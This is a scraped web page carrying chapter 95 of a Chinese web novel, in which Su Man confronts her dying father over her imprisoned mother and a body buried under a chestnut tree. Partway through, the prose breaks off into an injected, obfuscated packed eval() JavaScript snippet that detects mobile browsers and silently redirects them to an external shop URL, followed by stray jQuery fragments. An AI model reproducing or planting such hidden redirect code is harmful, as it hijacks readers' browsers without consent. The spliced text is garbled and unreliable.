95. 演技

作品:《狐狸眼与狗骨头

    第九十五章


    苏瑾不顾阻拦,直接闯进苏蔓的办公室,冲到苏蔓面前,双手撑在桌面上,身体前倾,通红的眼睛里全是愤恨。


    “苏蔓!是不是你?!网上那些东西,那些脏水,是不是你让人泼的?!你就非要毁了我是不是?!”她的声音尖利刺耳,带着哭腔。


    苏蔓正在审一份文件,闻声连眼皮都没抬一下:“出去。”


    “怎么,心虚了?敢做不敢当吗?我告诉你,我不会就这么算了的!你别以为你现在坐在这个位置上就能为所欲为!”苏瑾被她的无视彻底激怒,伸手就要去抓桌上的文件。


    苏蔓终于抬眸,目光越过苏瑾,落在门口助理身上:“愣着干什么,叫保安!”


    “是,苏董。”助理立刻应声。


    苏瑾气得浑身发抖,还想再闹,两名穿着制服的保安已经疾步走了进来,客套而强硬地请她离开。


    挣扎和哭骂声渐渐远去,苏蔓蹙了蹙眉,她没心思也没时间去应付苏瑾。


    苍蝇嗡嗡叫,除了让人心烦,毫无意义。


    然而,安静了不过几分钟,手机在桌面震动,苏蔓看了一眼,是苏鸿德。


    她盯着闪烁的屏幕,几秒后,才慢慢拿起电话。


    “请问是苏蔓小姐吗?”电话那头是个陌生的男声,“你父亲心脏病突发,刚送进海丽中心医院急救,现在在ICU,情况……不太乐观。”


    “知道了。”她淡淡应了一句,挂断电话,起身将文件递给助理,“下午的供货方见面会让严副总来主持,我要出去一趟。”


    *


    海丽中心医院特护病房区,走廊空旷寂静,苏蔓在一间病房前停下。


    苏鸿德躺在病床上,身上连接着各种管线和监护设备。


    他比上次见面时更加枯槁,脸色是一种不祥的青灰色,眼窝深陷。


    “你来了。”苏鸿德挣开一双混浊的眼,望着她的方向。


    苏蔓走到床边,居高临下地看着他,脸上没有任何表情。


    苏鸿德扯了扯嘴角,勉强扯出一个笑:“第二颗了……换了最好的,最年轻的……可它好像,也不愿意在我这腔子里跳了……”他艰难地转动眼珠,看向苏蔓,眼神空洞,“蔓蔓,你说……是不是因为我这辈子,做的孽太多了?所以连健康的心脏,都嫌弃我?”


    苏蔓不想回答这个无聊的问题,她刚刚从医生那了解过,苏鸿德曾做过换心手术,两次。


    屏幕上跳跃的数字和曲线,象征着这个男人的生命正在不可逆转地流逝。


    她心里没有任何悲伤,只有一片麻木,还有焦灼。


    “你到底把我妈妈藏在哪了?”


    苏鸿德的身体突然痉挛了一下,监护仪发出报警声,又很快平息。


    他闭上眼,喘息了几次,才重新睁开,眼神里竟泛起罕见的柔和,但那温柔深处,是更浓的扭曲和偏执。


    “我不会告诉你……我要让她在你心里,永远都是那个温柔优雅,会弹钢琴,会画画的美丽女人……而不是……而不是现在那副模样……”他的声音哽住,眼底爬上痛苦的神色,“我是真的爱她……蔓蔓,你要相信我……你外婆去世后,她就再也不碰钢琴了。后来,你外公在海上出了事……我拼尽全力,也帮不上忙……我看着你妈妈一天天枯萎下去,眼睛里一点光都没有了……我做了所有我能想到的事……我只想让她高兴起来,像以前那样笑……”


    他的叙述断断续续,陷入遥远的回忆,灰败的脸上竟奇异地泛起一丝潮红。


    “可是没有用……一点用都没有。她越来越沉默,有时候看着窗外,一整天都不说一句话……后来,是你三叔……他说,你妈妈这样子,不像普通的伤心,倒像是……中了邪,被什么不干净的东西缠住了。他说,可以试试……驱魔的仪式,”苏鸿德的呼吸急促起来,眼中浮现出疯狂,“我那时……是真的没办法了,我什么都试过了,只要有一线希望……我就试了……”


    他的声音颤抖起来:“可仪式之后,她……她彻底变了,变得暴躁,易怒,动不动就摔东西,骂人,说胡话……有一次,她拿着剪刀,说要杀了我……她还说,要带着你,永远离开海丽,离开我……”


    苏鸿德猛地咳嗽起来,咳得撕心裂肺,脸色发紫。


    护士急忙进来处理,好一会儿他才平复。


    “我害怕……蔓蔓,我是真的害怕……我怕她伤害自己,更怕她伤害你……我没办法……我只能把她关起来……关在一个谁也找不到的地方……”他的眼泪流下来,混进深刻的皱纹里,“我找了最好的医生,用最好的药……可她时好时坏……好的时候,会哭着求我放她出去,说她想你……坏的时候……”


    苏蔓一直静静地听着,脸上仍是没有任何表情,唯有垂在身侧的手,指尖深深掐进掌心。


    “埋在栗子树下的,是谁?”她终于开口。


    苏鸿德短暂回忆了一下:“是……是一个佣人……你妈妈用一条钻石项链,贿赂了照顾她的女佣,想让她帮忙逃走……那天晚上,她们真的跑了……我追出去......拉扯间,那个女佣……失足掉进了废弃的栈桥下面,撞到了头……”他的声音低下去,“我真的没想杀任何人……那是个意外……可人已经死了……我就把她的尸体带回来,埋在树下……那条项链沾了血,我也一起埋了……还……还安排了人在附近看着……”


    真相终于形成了一个闭环,母亲的疯癫源于一场愚昧的驱魔仪式,而树下无名尸,是一场意外下的牺牲品,一个被卷进这场悲剧里的无辜者。


    苏蔓觉得胸口窒闷,几乎要喘不过气。


    她看着床上气息奄奄,流泪忏悔的男人,只觉得无比荒谬,无比恶心。


    “我对这些不感兴趣,我只想知道,我妈妈,到底在哪?”苏蔓冷冷开口。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027135|187884||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    苏鸿德费力地聚焦视线,颤抖着从枕头下摸出一个黑皮笔记本,递给她:“蔓蔓,这个本子,上面记着这些年同集团有过往来的名单,你要收好。爸爸想明白了,等我能下床……我就去自首……我感觉我这次……真的是不行了……”他大口喘着气,每一个字都像是用尽全力,“但是蔓蔓……我死后……我身后的那些人……那些和我绑在一起的人……他们一定会找上你……但你有了这个,他们不敢动你。”


    他伸出手,将本子的一角送到她手里,却被对方嫌恶地躲开。


    苏鸿德讪讪地收回手,将本子放在床边,“我告诉你这些……是想让你没有后顾之忧......”他的眼神开始涣散,“蔓蔓……爸爸……最后能为你做的……就是这个了……”


    “呵……”苏蔓极冷地哼出一声。


    她看着苏鸿德一副舐犊情深的模样,只觉得讽刺,让她几乎要笑出声来。


    “苏鸿德,”她连名带姓地叫他,声音里裹着刀锋,“你现在这副样子,是在表演给谁看?表演临终忏悔的慈父?还是表演为了女儿不惜自首的深情?”她向前一步,俯身靠近他,用只有两人能听到的音量,缓缓说道,“你告诉我这些,不是因为良心发现,更不是因为爱我,你只是怕了。怕你死后,你那些见不得光的同伙,会毫无顾忌地弄死我,让苏氏彻底成为他们的囊中之物。你告诉我,是给我一个保命的筹码,也是给你自己留一个……或许能让你在地狱里少受点煎熬,可笑的念想。”


    她直起身,伸手拿起笔记本,眼神里全是厌恶:“收起你这套恶心的表演,我会把这东西交给警察,你的罪,你自己去赎。而我的路,我会自己走。”


    说完,她不再看苏鸿德瞬间惨白的脸,转身离开病房。


    门在她身后关上,走廊里依旧空旷寂静,消毒水的味道依旧浓烈刺鼻。


    苏蔓靠在墙壁上,缓缓闭上眼。


    母亲还活着,却被关在某个不知名的角落,精神状况堪忧。


    树下骸骨的真相竟是如此的荒谬。


    而她的父亲,在生命的尽头,终于撕开伪善的面具,露出最自私算计的底色,却还要披上一层父爱的遮羞布,人心究竟怎么会贪婪至此,即便是死后,也要掌控一切。


    恶心,除了恶心,还是恶心。


    她低头看看手里的笔记本,这个东西一旦交出去,海丽市一定会掀起一阵暴风雨,而这上面的人一旦被牵出,苏云集团自然也不能独善其身,眼下,似乎也没什么更好的办法,就只好走一步算一步了。


    大雨,终于滂沱而下,猛烈地敲打着医院的玻璃窗。


    而在苏蔓眼里,这场能冲刷掉一切污秽的大雨,来得很及时。


    手机又开始震动,苏蔓不耐烦地接起:“苏瑾,我说的话你听不懂吗?我没那个闲心也......”


    “苏蔓!我,我,我好像,杀人了!”